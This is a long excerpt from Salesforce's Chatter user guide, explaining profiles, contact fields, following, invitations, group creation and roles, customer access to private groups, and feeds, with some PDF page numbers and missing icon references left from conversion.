Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

With Chatter, you can:

Update your profile to tell other people about yourself.


Update your status so people can see what you're working on.
Post a file or a link to share with other people.
Find and follow people in your Salesforce organization.
View Chatter feeds to see recent activities around Salesforce.
Follow records to see changes to those records in the Chatter feed on your Home tab and Chatter tab.
Invite people to join your Chatter network. Invited users can view profiles, post on their feed, and join groups, but can't
see your Salesforce data or records.
Create and join groups to share information with your team members.
Receive email notifications when activities happen in Chatter.
Search for Chatter feeds, files, groups, and people.
Bookmark a post that interests you and receive email notifications when someone comments on that post.
Share a public post to your profile or with a group youre a member of. You can also send a link to the post to other Chatter
users in an email or instant message.

See Also:
Setting Up Chatter
Chatter FAQs

2380

User Profiles

Chatter Tab Overview

Chatter Tab Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

From the Chatter tab:

Click your name or photo to go to your profile page.


Click Messages to read your private messages or to send a private message.
Share what you're working on.
Post files or links to share with other people.
View, filter, sort, and add comments to your Chatter feed.
Click the People, Groups, or Files link on the left side to see the people, groups, or files list.
View your people, group, and record recommendations.
View your company's trending topics to see the topics that are being discussed right now in Chatter.
Invite people to join your Chatter network. Invited users can view profiles, post on their feed, and join groups, but can't
see your Salesforce data or records.
Click a favorite to see the latest posts and comments for topics, list views, and Chatter feed searches. If you haven't added
any favorites, the Favorites section doesn't appear on the Chatter tab.
Bookmark a post to keep track of posts you are interested in.
Share a public post to your profile, with a group, or send a link to the post to other Chatter users in an email or instant
message.

See Also:
Using Chatter
Adding Topics to Posts and Comments

USER PROFILES
Profile Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Customize your profile with a photo and information about yourself so your coworkers can learn more about you. Click Your
Name > My Profile at the top of any page or click your name anywhere around the application to view your profile.
View other people's profiles by clicking their name. If hover details are enabled, you can also see contact details and perform
actions by hovering over people, files, and groups in the recent items lists and owner fields on records.

2381

User Profiles

Profile Overview

Chatter, Profile, People, Groups, and Files tabs are available by default in the Chatter app. Select the Chatter app from the
app menu in the top right corner of any page. If your administrator has added these tabs to other apps, you see the tabs in
those apps unless you previously customized your display. In that case, add the tabs to those apps.
From your profile:

Click

Click in the About Me section to add additional information about yourself.


Post an update in the What are you working on? field.
Upload a profile photo.
Send a private message.
See who's following you and who you're following. If you're not following anyone, click Find people to follow in the
Following list and start following people.
View your group memberships. If you're not in any groups, click Join or create groups in the Groups list to join some
groups.
See your recent updates in your Chatter feed.
View a single feed update.
View, download, and search files you've posted in Chatter.
View the topics you use most often.
See your personal Chatter activity statistics under your photo. Chatter activity statistics include how many posts and
comments you've made, how many comments you've received, and how many people liked your posts and comments. You
can also see your coworkers' Chatter activity statistics on their profiles.
See your Chatter influence, which shows how your Chatter activity statistics stack up to other peoples. You can also see
other peoples Chatter influence on their profiles. Top Influencers lead collaboration efforts by regularly sharing essential
content, Active Influencers encourage others to get involved and share knowledge, and Observers are quiet participants or

in the Contact section to edit your contact information.

just getting started in Chatter. When viewing someones profile, hover over
how that person is uniquely influential.

under the profile photo for details about

When using profiles, consider these tips:

Your post displays in your Chatter feed and the feeds of people following you. To delete your post from feeds, hover over
the post and click .
You can attach files and links to your posts.
Your contact information is also visible in your user detail and is subject to validation or other rules set by your administrator.
Click the User Detail link on your profile to view your user detail page.
When you change your email address in your contact information, a confirmation is sent to the new address. You must
click the link provided in that email for the change to take effect.
Information in the About Me section is searchable. Use global search and view the People results.
Portal users don't have profiles.
For organizations using Salesforce to Salesforce, the Connection User displays in feeds, but does not have a profile.
Users with the "Manage Users" permission can edit profiles and photos for other users.

2382

User Profiles

Editing Chatter Contact Information

Click the People or Chatter links above the profile picture to go to the People list or to the Chatter page.

See Also:
Using Chatter
Configuring Chatter Email Notifications and Digests
Chatter Moderators
Chatter FAQs

Editing Chatter Contact Information


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Your contact information is visible to all users in your Chatter organization. You can change this information at any time by
viewing your profile on the Profile tab or by clicking Your Name > My Profile at the top of any page.
Click

in the Contact section of your profile to edit your contact information. Click More... to see all the available fields.

You can change the following fields (in alphabetical order):


Field

Description

City

City portion of users address. Up to 40 characters are allowed in this field.

Country

Country portion of users address. Up to 40 characters are allowed in this field.

Email

Email address of user. Must be a valid email address in the form: jsmith@acme.com.
Up to 80 characters are allowed in this field.

Fax

Fax number for user.

First Name

First name of user, as displayed on the user edit page. Up to 40 characters are allowed
in this field.

Last Name

Last name of user, as displayed on the user edit page. Up to 80 characters are allowed
in this field.

Manager

Indicates the user's manager. This field can only be set by an administrator.

Mobile Phone

Cellular or mobile phone number. Up to 40 characters are allowed in this field.

State/Province

State or province portion of users address. Up to 20 characters are allowed in this field.

Street Address

Street address for user. Up to 255 characters are allowed in this field.

Title

Job title of user. Up to 80 characters are allowed in this field.

Work Phone

The user's work phone number. You can enter up to 40 characters here.

Zip/Postal Code

Zip code or postal code portion of users address. Up to 20 characters are allowed in this
field.

2383

User Profiles

Uploading Chatter Group and Profile Photos

Uploading Chatter Group and Profile Photos


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Upload a photo to your profile so people can see who you are, or upload a photo for Chatter groups that you own or manage.
1. View your profile or a group:

View your profile by clicking Your Name > My Profile at the top of any page or by clicking the Profile tab.
View a group by clicking a group name in a feed, on the Groups tab, or in the Groups list on someone's profile.

2. Hover over the stock photo and click Add Photo, or if you previously added a photo, click Update.
3. Click Browse....
4. Select a file to upload and click Open.
Note: Photos can be .jpg, .gif, or .png format up to 8 MB.

5. Drag the dotted lines in the photo to create a thumbnail image that displays next to your name or the group's name around
the application.
6. Click Save.
To delete a photo, hover over the photo and click Delete, then click OK.

See Also:
Profile Overview
Viewing Chatter Groups

Using the Following and Followers Lists


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

View the Following and Followers lists on your profile to see who and what you're following, and who is following you. If
you're not following anyone, click Find people to follow in the Following list to view the People list and start following people.
You can also view the Following and Followers lists on other people's profiles.
Note: When your administrator turns on Chatter, you automatically follow some users and records in your organization.

In either list, click Show All to view the full list in alphabetical order.

Use the Next and Previous links to see more of the list.
Optionally filter the Following list by people or objects, for example, accounts or files.
In your Following list, click

to stop following a person or record.

2384

User Profiles

Using the Files Owned List

In another person's Following list, click

In any Followers list, click Follow to follow a person, or


Click Done to close the window.

Follow to follow a person or record.


to stop following them.

See Also:
Following People
Following Records
The People and Records You Auto-Follow Initially
Profile Overview
Feeds
Using Chatter Feeds
People Overview

Using the Files Owned List


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Files Owned list on a profile shows the five files the profile owner attached most recently to a Chatter feed on the a
profile, a record, or a group. It also includes files the profile owner has uploaded most recently to Salesforce CRM Content
libraries. Hover over a file and you can preview it by clicking the thumbnail, follow, share, download, upload a new version,
and go to the file detail page by clicking the file name.
To see a list of all the files the profile owner has attached and uploaded, to search for a specific file, or to perform actions on
a file, click Show All. The 25 most recently viewed files are listed by default. On this list you can:

Search for files the profile owner has attached and uploaded in Chatter and Salesforce CRM Content. The list doesn't
include:
Documents from the Documents tab.
Attachments from the Notes and Attachments related list.

Upload private files or upload and share files with people, groups, or via a file link.
Preview a file without downloading it.

Click
to download, upload a new version, share with people, groups, or via link, and see sharing settings.
Click a file name to view the file detail page. You can view detail pages for all files, but you'll only see updates in the Chatter
feed for files you follow.
Click a file owner's name to see his or her profile.

Follow and receive updates about a file in the Chatter feed. Click
updates about the file.

next to the file you're following to stop receiving

Note:

Only files you have access to are listed. For example, if the profile owner posted a file to a private group or library
you're not a member of, you won't see that file in the list.

2385

People

People Overview

Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than 25 MB.
For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear as generic
file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews.
Files without a file extension or with an unrecognized file extension are listed as unknown in the Type column.

See Also:
Profile Overview

PEOPLE
People Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The People tab and the People list on the Chatter tab display a list of the users in your organization.

Click a person's name or photo to view his or her profile.


Click Follow to see a person's updates in the Chatter feed. You can't follow customers.
Click Following to stop seeing a person's updates in the Chatter feed.
Click a column header to sort the list:
Name sorts alphabetically by name. By default, the list is sorted alphabetically, in ascending order.
Following sorts based on who you're following and not following.

Search for users by typing characters of a first or last name in the search box at the top of the page. The list automatically
filters based on what you type.
At the top of the list, click a letter to list everyone whose last name begins with that letter.
Invite people to join your Chatter network. Invited users can view profiles, post on their feed, and join groups, but can't
see your Salesforce data or records.
View the people that Chatter recommends you follow. Click More in the Recommended People section to view all of your
recommendations. If no recommendations appear, then you're already following all the recommended people.

2386

People

People Recommendations Overview

Chatter, Profile, People, Groups, and Files tabs are available by default in the Chatter app. Select the Chatter app from the
app menu in the top right corner of any page. If your administrator has added these tabs to other apps, you see the tabs in
those apps unless you previously customized your display. In that case, add the tabs to those apps.

See Also:
Feeds
Using the Following and Followers Lists
Following People
People Recommendations Overview
Feed Filters

People Recommendations Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter recommends people in your organization that you might want to follow based on similar interests. For example,
Chatter recommends people who:

Follow the same people as you.


Are in your management hierarchy, such as your manager, people who report to your manager, and people who report to
you.
Salesforce uses the Manager field on the personal information page to determine these recommendations. If this field is
blank, Chatter won't recommend people based on your management hierarchy. Only your Salesforce administrator can
edit the Manager field.

Are popular, which means they have many followers.


Are new to Chatter.
Are interested in the same records as you. For example, someone who has looked at or edited an account that you've recently
viewed.

To see an expanded list of your recommendations, click More in the Recommendations section. If no recommendations
appear, then you're already following all the recommended people.
You can also get a recommendation immediately after following someone on a profile page. This recommendation appears if
many people who follow that person also follow someone else. For example, if you follow Madison Rigsby on her profile page,
you immediately get a recommendation for Suzanne Powell if many people who follow Madison also follow Suzanne.

2387

People

Inviting People to Join Chatter

Note: If your organization has fewer than 16 people, you automatically follow everybody, so no people are recommended.

See Also:
Viewing Your Recommendations
Using the Following and Followers Lists
Following People
Following Records

Inviting People to Join Chatter


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To invite people to Chatter:

Allow Invitations

You can invite people from your company that don't have Salesforce licenses to use Chatter. Invited users can view profiles,
post on their feed, and join groups, but can't see your Salesforce data or records.
To invite people to Chatter:
1. Click Invite People to Chatter on the People page or Invite Coworkers! on the Chatter page.
Note: You can only invite people with email addresses in your company's supported domains.
Portal users can't send invitations.
2. To send invitations from Chatter, enter email addresses and click Send.
3. To send invitations using your own email account, click send your own email invitation. If you have a default email client
set, an email containing an invitation link opens in your mail program. Otherwise, you see an invitation link that you can
copy and paste into an email.
You can also invite coworkers to join a public group even if they don't use Chatter yet. Additionally, owners and managers of
private groups can send invitations. If customer invitations are enabled, owners and managers can also invite customers. When
someone accepts an invitation to join the group, they join Chatter as well.
1. Click Groups and click on a group name.
2. In the Members section on the group detail page, click Invite People.
If you are the group owner or manager, you can also click Add/Remove Members, then click Invite them to Salesforce
Chatter!.
3. Enter email addresses and click Send.

2388

Groups

Chatter Groups Overview

Note: If a user doesn't accept the invitation within the first day, Chatter sends an email reminder the second day. If
the user doesn't accept that invitation, Chatter sends another reminder the following day.
A user has up to 60 days to accept an invitation to join Chatter. If during that time, an administrator deselects Allow
Invitations or removes the user's domain from the list, the user can't accept the invitation.
When delegated authentication single sign-on is enabled in your organization, invited users bypass the password
registration page. If their username already exists, they wont be able to accept the invitation.

See Also:
People Overview
Adding and Removing Chatter Group Members
Adding or Removing Customers in Chatter Groups

GROUPS
Chatter Groups Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter groups let you collaborate with specific people. For example, if you're working on a team project, you can create a
group for your team to share project-related files and information. You can join up to 100 groups, and your company can have
a total of 10,000 groups. Chatter groups have different levels of access:

Public: Anyone can see the group's posts, comments, and files, but only members can post, comment, and add files. Anyone
can join a public group.
Private: Only members can see and add posts, comments, and files. People must ask to join or be added by the group's
owner or managers. People with Modify All Data permission can see posts, updates, and files, and join private groups
directly.
Allow Customers: The group owner and managers can invite customers to join the group. Customers are users outside
of your company's email domains. They have very limited Chatter access and can only see groups they're invited to and
interact with members of those groups.
Note: Once you allow customers in a group, you can't change the group access level.

Click Groups on the Chatter tab to see a list of groups.

2389

Groups

Chatter Groups Home

Note: Chatter, Profile, People, Groups, and Files tabs are available by default in the Chatter app. Select the Chatter
app from the app menu in the top right corner of any page. If your administrator has added these tabs to other apps,
you see the tabs in those apps unless you previously customized your display. In that case, add the tabs to those apps.

See Also:
Chatter Groups Home
Joining or Leaving Chatter Groups
Viewing Chatter Groups
Editing, Changing the Owner, or Deleting Chatter Groups
Joining or Leaving Chatter Groups

Chatter Groups Home


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Watch a Demo on Using Chatter Groups (2:16 minutes)


The Groups page, accessible by clicking Groups on the Chatter tab, displays a list of Chatter groups.

Click New Group to create a new group.


Filter the groups list:
All Groups shows all groups in your company
Recently Viewed shows the groups you recently looked at, starting with the group you viewed last
My Groups shows the groups you belong to, own, or manage

Search for groups by typing two or more letters of a group name or description in the Find Groups box. The list
automatically filters based on what you type.
View the groups that Chatter recommends you join based on the group's popularity and the number of connections you
have in the group in the Recommendations section. Click More to see the full list. If you don't see recommendations, you
already belong to all the recommended groups.
Within the groups list:
Click a group name to view the group. You can view all groups, but you'll only see updates and files for public groups,
and for private groups you belong to. Groups that allow customers say (With Customers).
Click a group owner's name to see his or her profile.
Click Join to join a public group. For private groups, click Ask to Join to email a request to join to the group's owner
and managers. Users with the Modify All Data permission can directly join private groups, and therefore see Join for
private groups.
Click to leave a group or to withdraw a request to join a group.

2390

Groups

Creating Chatter Groups

Click a column header to sort the list. The Group column sorts by group name; the Last Activity column sorts by the
date of the last post or comment on a group; the Membership column sorts based on your membership status.

See Also:
Chatter Groups Overview
Editing, Changing the Owner, or Deleting Chatter Groups
Viewing Chatter Groups
Using the Group Files List
Creating Chatter Groups
Adding and Removing Chatter Group Members
Chatter Group Recommendations Overview
Feed Filters
Joining or Leaving Chatter Groups

Creating Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Create Chatter groups to collaborate with your teams and work on projects.
1. On the Chatter tab, click Groups.
2. Click New Group and enter a group name and description.
Note: You own groups you create. To assign a new owner, finish creating the group, then edit the group settings.

3. Select an access level:

Public: Anyone can see the group's posts, comments, and files, but only members can post, comment, and add files.
Anyone can join a public group.
Private: Only members can see and add posts, comments, and files. People must ask to join or be added by the group's
owner or managers. People with Modify All Data permission can see posts, updates, and files, and join private groups
directly.
Allow Customers: The group owner and managers can invite customers to join the group. Customers are users
outside of your company's email domains. They have very limited Chatter access and can only see groups they're
invited to and interact with members of those groups.
Note: Once you allow customers in a group, you can't change the group access level.

2391

Groups

Joining or Leaving Chatter Groups

4. Click Save.

See Also:
Chatter Groups Overview
Viewing Chatter Groups
Chatter Groups Home
Adding and Removing Chatter Group Members
Viewing Chatter Group Members
Joining or Leaving Chatter Groups

Joining or Leaving Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To join a Chatter group:

For public groups, click Join on a group detail page, in the Groups list on the Chatter tab, or on a group hover.
For private groups, click Ask to Join on a group detail page, in the Groups list on the Chatter tab, or on a group hover.
An email is sent to the group's owner and managers, who can accept or decline your request. Users with the Modify All
Data permission can directly join private groups, and therefore see Join for private groups.

You can join up to 100 groups. Requests to join private groups count toward this limit. For example, if you're a member of
90 groups, you can only request to join 10 more groups.
To leave a public or private Chatter group, go to the Groups list on the Chatter tab or a group detail page and click
also withdraws a request to join a private group.

. Clicking

See Also:
Chatter Groups Overview
Viewing Chatter Groups
Chatter Groups Home

Viewing Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To view a Chatter group, click the group's name in a feed, in the Groups list on the Chatter tab, or on someone's profile. You
can view all groups, but you'll only see updates and files for public groups, and for private groups you belong to. The actions
you can perform depend on your role in the group. People with the Modify All Data permission can perform all actions on
all groups regardless of membership, except post to groups they don't belong to. Additionally, people with the View All Data
permission can view details of private groups they don't belong to.
For all groups:

2392

Groups

Viewing Chatter Groups

Click Join to join a public group, or Ask to Join to send an email to the owner and managers of a private group requesting
to join.
View group information and description. For private groups, you must be a member to view the group information.
View the group's members in the Members section. The group owner's picture has a key icon and displays in the top left.
For groups that allow customers, the Customers section shows you if the group has any customers.
View, download, and search files posted to the group in the Group Files section. For private groups, you must be a member
to view files.
Click the Groups or Chatter links above the group's profile picture to see the group list or to go to your Chatter page.

As a group member:

Click to leave a group, or to withdraw a request to join a private group. To leave a group you own, you must first assign
a new owner.
If your administrator has enabled invitations, click Invite People to invite people not already using Chatter to join the
group. For private groups, you must be a manager or owner to invite people.
Click Email Me... to be emailed about activity in the group, either every time someone posts, daily, or weekly. The link
changes depending on your settings. For example, selecting Every Post changes the link to Email Every Post. To stop
receiving email for the group's activity, click Turn Off Group Email. Clicking Email Settings takes you to the email
settings page, where you can modify all your Chatter email settings.
Post and comment in the Chatter feed. You can also comment, but not post, on public groups you don't belong to.

Additionally, as a group manager or owner:

Click Group Settings to edit group settings, including the name, description, owner, and access level.

Click Add Description or in the Description section to add a description of the group.
Click Add/Remove Members to add or remove group members.
Click Change Roles to change member roles. This link doesn't display on groups with only one member.
Hover over the group photo and click Add Photo, Update, or Delete to modify the group photo.
Click Requests to accept or decline requests to join your private group. This link only displays when there are requests.

Click Add Information or in the Information section to add additional information for the group's members. You can
customize this section, including its title, to say anything you want.

See Also:
Creating Chatter Groups
Editing, Changing the Owner, or Deleting Chatter Groups
Using the Group Files List
Chatter Groups Home
Adding and Removing Chatter Group Members
Joining or Leaving Chatter Groups
Viewing Chatter Group Members

2393

Groups

Viewing Chatter Group Members

Viewing Chatter Group Members


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Members list on a Chatter group detail page shows all of the members of a group. Click Show All to view the full list in
alphabetical order.

Filter the list to see all members, managers, or the owner


Search using the Find Members search box
Click Follow or next to a person's name to start or stop following them. You can't follow customers.
Use the Next and Previous links to see more of the list
Click Done to close the window

See Also:
Adding and Removing Chatter Group Members
Joining or Leaving Chatter Groups
Viewing Chatter Groups

Chatter Group Recommendations Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter recommends groups that you might want to join based on:

The popularity of the group determined by the number of members.


The number of people you're following in the group. Chatter recommends groups with the most members you're following.
If the group is new (created in the last month).

To see an expanded list of your recommendations, click More in the Recommendations section. If no recommendations
appear, then you already belong to all the recommended groups.

See Also:
Viewing Your Recommendations
Chatter Groups Home
Creating Chatter Groups

2394

Groups

Using the Group Files List

Using the Group Files List


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Group Files list on a Chatter group shows the five most recent files posted to that group. Hover over a file and you can
preview it by clicking the thumbnail, follow, share, download, upload a new version, and go to the file detail page by clicking
the file name.
To see a list of all the files posted to a group, to search for a specific file, or to perform actions on a file, click Show All. The
25 most recently viewed files are listed by default. On this list you can:

Search for files that have been posted to the group. The list includes files that you and other people have attached to the
Chatter feed on the group. The list doesn't include:
Documents from the Documents tab.
Attachments from the Notes and Attachments related list.

Upload private files or upload and share files with people, groups, or via a file link.
Preview a file without downloading it.

Click
to download, upload a new version, share with people, groups, or via link, and see sharing settings.
Click a file name to view the file detail page. You can view detail pages for all files, but you'll only see updates in the Chatter
feed for files you follow.
Click a file owner's name to see his or her profile.

Follow and receive updates about a file in the Chatter feed. Click
updates about the file.

next to the file you're following to stop receiving

Note:

Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than 25 MB.
For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear as generic
file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews.
Files without a file extension or with an unrecognized file extension are listed as unknown in the Type column.

See Also:
Chatter Groups Home

Editing, Changing the Owner, or Deleting Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

You can edit settings for Chatter groups you own or manage.
1. Click Group Settings on a group detail page.

2395

Groups

Deleting Chatter Groups

2. Optionally edit the group name and description.


3. Optionally type a name or click the lookup icon to search the group members to assign a new Owner. Only the current
owner or people with the Modify All Data permission can change the owner, and you must choose the owner from
existing members. Customers can't own groups.
4. Optionally change the access level:
Note: If you change a private group to public, updates and files are visible to all users, all pending requests to join
the group are accepted, and anyone can join the group.

Public: Anyone can see the group's posts, comments, and files, but only members can post, comment, and add files.
Anyone can join a public group.
Private: Only members can see and add posts, comments, and files. People must ask to join or be added by the group's
owner or managers. People with Modify All Data permission can see posts, updates, and files, and join private groups
directly.
Allow Customers: The group owner and managers can invite customers to join the group. Customers are users
outside of your company's email domains. They have very limited Chatter access and can only see groups they're
invited to and interact with members of those groups.
Note: Once you allow customers in a group, you can't change the group access level.

5. Click Save.
If you own a group or have the Modify All Data permission, click Delete to delete the group.

See Also:
Creating Chatter Groups
Viewing Chatter Groups
Chatter Groups Home
Adding and Removing Chatter Group Members

Deleting Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Only the owner of a group and users with the Modify All Data permission can delete a group.
1. Click Group Settings on a group detail page.
2. Click Delete.
3. Click OK.
Deleting a group permanently deletes the updates of the group, including any links posted to the group. When you delete a
group that includes files, you're not deleting the files, just the references to the files. The files remain in their original location,
such as in each file owners Files I Own. If the files were posted to the group and not shared in other locations, deleting the

2396

Groups

Chatter Group Roles Overview

group also removes the references to the files. The files remain in the file owner's Files I Own, where they're private but can
be shared again later.

See Also:
Editing, Changing the Owner, or Deleting Chatter Groups
Chatter Groups Overview
Creating Chatter Groups
Chatter Group Roles Overview
Changing Chatter Group Roles

Chatter Group Roles Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

This table describes the actions that can be performed by members, managers, and owners of Chatter groups. People with the
Modify All Data permission can perform all actions on all groups regardless of membership, except post to groups they don't
belong to. Additionally, people with the View All Data permission can view details of private groups they don't belong to.
Customers on page 2400 can be group members and managers, but not owners.
Action

Owner

Manager

Member

Post and comment

Yes

Yes

Yes

Change member roles

Yes

Yes

Edit group settings

Yes

Yes

Add and remove members

Yes

Yes

Delete posts and comments

Yes

Yes

Edit Information field

Yes

Yes

Delete group

Yes

Change group owner

Yes

See Also:
Viewing Chatter Groups
Chatter Groups Home
Adding and Removing Chatter Group Members

2397

Groups

Changing Chatter Group Roles

Changing Chatter Group Roles


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To change Chatter group roles for groups you own or manage:


1. Click Change Roles on a group detail page.
2. To search for members, start typing in the search box. Optionally sort the list by toggling between Managers and All
Members.
3. Select the Manager checkbox for people you want to be managers. If a customer is selected as a manager, they will be able
to see people who ask to join the group, even if they aren't in other common groups, and will be able to approve requests.
Note: To change the group owner, you must own the group or have the Modify All Data permission. Click the
Group Settings link next to the current owner to assign a new owner.
4. Click Done.

See Also:
Viewing Chatter Groups
Chatter Groups Home
Viewing Chatter Group Members
Adding and Removing Chatter Group Members

Adding and Removing Chatter Group Members


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To add or remove members for Chatter groups you own or manage:


1. Click Add/Remove Members on a group detail page.
2. Find who you're looking for:

Search using the Find People search box.


Toggle between Requests to join the group, Members of the group, and Everyone in your company.
Use the Next and Previous links to see more of the list.
Note: If the group allows customers, existing Chatter customers will appear in this list.
If you can't find who you're looking for, you can invite people by clicking Invite them to Salesforce Chatter!.

3. Click Add to add a member, or to remove a member. For people who have requested to join, click Accept to accept the
request, or to decline.
4. Click Done when you're finished.

2398

Groups

Accepting or Declining Private Group Requests

People can also join groups directly. To be notified when you're added to Chatter groups, enable email notifications.

See Also:
Viewing Chatter Group Members
Creating Chatter Groups
Chatter Group Roles Overview
Changing Chatter Group Roles
Accepting or Declining Private Group Requests

Accepting or Declining Private Group Requests


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

As the owner or manager of a private Chatter group, you can accept or decline requests to join the group. Additionally, users
with the Modify All Data permission can view and manage requests for all groups.
1. View the list of requests by doing one of the following:

On a group detail page, click the Request link, for example, 3 Requests
On a group detail page, click Add/Remove Members and then click the Requests filter, or scan for requests in the
Everyone filter
Click the link provided in the email request

2. Accept or decline the requests.


Note: An email is sent to each person to tell them that their request was accepted or declined.

Click Accept to accept. If there are more than two requests, you can accept them all by clicking Accept x of y, for
example, Accept 3 of 3.

Click to decline. Optionally enter a message that will be included with your decline email and click Send. If you
change your mind, you can click Cancel to go back.

3. Click Done to close the window.


If you make a private group public, any pending requests are automatically accepted.

See Also:
Adding and Removing Chatter Group Members
Viewing Chatter Group Members

2399

Groups

Viewing Chatter Group Memberships

Viewing Chatter Group Memberships


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Groups list on your profile shows you the Chatter groups you belong to, sorted by the most recent activity date. If you're
not a member of any groups, click Join or create groups to view the Groups tab and join some groups. You can also view the
Groups list on other people's profiles to see their group memberships.
Click Show All to view the full list in alphabetical order.

Use the Next and Previous links to see more of the list.
Click to leave a group or withdraw a request to join.
On another person's groups list, click Join to join a public group.
On another person's groups list, click Ask to Join to send a request to join a private group.
Click Done to close the window.

See Also:
People Overview
Viewing Chatter Groups
Chatter Groups Home

About Chatter Customers in Private Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter customers are users outside your company's email domains who can only see groups they're invited to and interact
with members of those groups; they can't see any Salesforce information.
Chatter customers:

Can only be added to Chatter if:


A manager or owner of a group that allows customers invites them to the group.
An administrator adds them in Name > Setup > Manage Users > Users.

Can only see:


Groups they belong to.
People in groups they belong to. Customers only see limited profiles including photo, name, title, email, activity statistics
and influence, common group memberships, and common files. They can't post to profiles.
Files shared to groups they belong to.

Can't see:
Records or other Salesforce information, even in search results.

2400

Groups

Adding or Removing Customers in Chatter Groups

Topics I Use Most or Trending Topics.


Recommendations and can't be recommended to others. Additionally, groups that allow customers can't be recommended.

Are identified as a customer in profiles and groups they belong to.


Have limited profiles, including name, photo, title, company, email, activity statistics and influence, feed, group membership,
and file ownership.
Can't be followed. Additionally, customers can't follow people or files.
Can be group members and managers. If customer is a manager, they will be able to see users who request to join the
group, even if they aren't in other common groups, and approve requests.
Can't own, create, delete, moderate, join, or ask to join groups.
Can invite people that they're in common groups with to join groups that they manage.
Can't invite people inside your company's domain whose profiles they can't see.
Cant chat on page 2454 with other users.
Note: In the Chatter mobile apps for Android and iOS, the names and profiles of customer users can be viewed by
people inside your company's domain, but customers are prevented from using the apps. Only Chatter for BlackBerry
currently allows customers to log in and use the app. The BlackBerry app applies the same restrictions to customer
users as Chatter on the Web.
Note: When you invite someone as a customer to your group, they are given a unique username and password to log
in to this group within your organization, even if theyre already a member of another Salesforce organization. They
will not be able to use other Salesforce logins to access your customer group. If a customer has an issue logging in to
the group, verify that they are using the username and password from the welcome email they received after registering
for the group.
If a customer loses their password, they can use the Forgot Password option to reset it. If they dont have their username,
they should contact the administrator of the organization in which theyre a customer to recover it.

See Also:
Chatter Groups Overview
Adding or Removing Customers in Chatter Groups

Adding or Removing Customers in Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

If customer invitations are enabled, you can add, remove, and invite customers in private groups you own or manage that allow
customers.
Note: When you invite someone as a customer to your group, they are given a unique username and password to log
in to this group within your organization, even if theyre already a member of another Salesforce organization. They
will not be able to use other Salesforce logins to access your customer group. If a customer has an issue logging in to
the group, verify that they are using the username and password from the welcome email they received after registering
for the group.

2401

Feeds

Feeds

If a customer loses their password, they can use the Forgot Password option to reset it. If they dont have their username,
they should contact the administrator of the organization in which theyre a customer to recover it.
1. Navigate to a group detail page.
2. To add people who aren't already customers in your company, click Invite People, or Add/Remove Members > Invite
them to Salesforce Chatter!. Enter email addresses separated by commas, and an optional message, and click Send.
Note: When someone accepts your invitation, they join Chatter and become a member of the group. If youre
unable to invite customers (people outside your companys email domains) to private groups you own or manage,
contact your administrator.
3. To add people who are already customers in your company, click Add/Remove Members, then:

Search using the Find People search box.


Toggle between Members of the group and Everyone in your company.
Use the Next and Previous links to see more of the list.

Click Add to add a customer, or to remove a customer.


Click Done when you're finished.

See Also:
About Chatter Customers in Private Groups
Adding and Removing Chatter Group Members

FEEDS
Feeds
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter feeds show you posts and comments you and other people make, as well as record updates across your Salesforce
organization.
You must follow people and records to see their updates in your Chatter feeds. Chatter feeds display on profiles, groups, the
Home tab, and on record detail pages.
The feed updates you see depend on how your administrator has configured feed tracking. Sharing rules and field-level security
determine the record changes you see in Chatter feeds. For example, if you dont have access to a record, you dont see any
updates for that record. Typically, you see feed updates for:

Record field changes, like changes to record owner and closed opportunities and cases
Tasks and events
Converted leads

2402

Feeds

Using Chatter Feeds

Chatter feed comments and posts


Shared files and links
Posts, comments, and files on Chatter groups you're a member of

Tracked feed updates that are older than 45 days and have no likes or comments are deleted automatically.

See Also:
Using Chatter Feeds
Following People
Following Records
Sharing a Chatter Post

Using Chatter Feeds


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed. If enabled by your
administrator, related list hover links display below Chatter feeds.

Post to Chatter feeds by typing in the text box at the top of a feed and clicking Share.
Update your status by posting to the Chatter feed or on your profile.
View a single feed update.
View the source of a post or comment.
Use filters to view a subset of updates.
Click Comment to comment on feed updates.
